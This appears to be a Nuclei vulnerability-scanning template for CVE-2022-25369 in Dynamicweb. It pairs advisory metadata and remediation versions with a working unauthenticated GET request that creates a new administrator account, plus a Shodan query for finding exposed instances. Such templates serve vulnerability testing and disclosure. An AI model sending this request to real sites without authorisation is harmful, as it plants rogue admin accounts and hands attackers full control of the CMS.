id: CVE-2022-25369

info:
  name: Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin User Creation
  author: pdteam
  severity: critical
  description: Dynamicweb contains a vulnerability which allows an unauthenticated attacker to create a new administrative user.
  impact: |
    Unauthenticated attackers can create administrative user accounts through the unprotected Default.aspx endpoint, gaining complete control over the Dynamicweb CMS, its content, and potentially the underlying system.
  remediation: |
    Upgrade to one of the fixed versions or higher: Dynamicweb 9.5.9, 9.6.16, 9.7.8, 9.8.11, 9.9, 9.10.18, 9.12.8, or 9.13.0.
  reference:
    - https://blog.assetnote.io/2022/02/20/logicflaw-dynamicweb-rce/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25369
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25369
    epss-score: 0.82864
    epss-percentile: 0.99264
    cwe-id: CWE-425
  metadata:
    max-request: 1
    shodan-query: http.component:"Dynamicweb"
  tags: cve2022,cve,dynamicweb,rce,unauth,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername={{rand_base(6)}}&adminpassword={{rand_base(6)}}&adminemail=test@test.com&adminname=test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Success": true'
          - '"Success":true'
        condition: or

      - type: word
        part: header
        words:
          - 'application/json'
          - 'ASP.NET_SessionId'
        condition: and
        case-insensitive: true

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dfb741434e3c4cde0bbc745a39c5bc90984da51a22428c6d8eb2130c9d908ecf0220569ddad09b13d68aa40b544ff95de7f0bbf31ea39e3d521c1d9c0ca8597e3dac:922c64590222798bb761d5b6d8e72950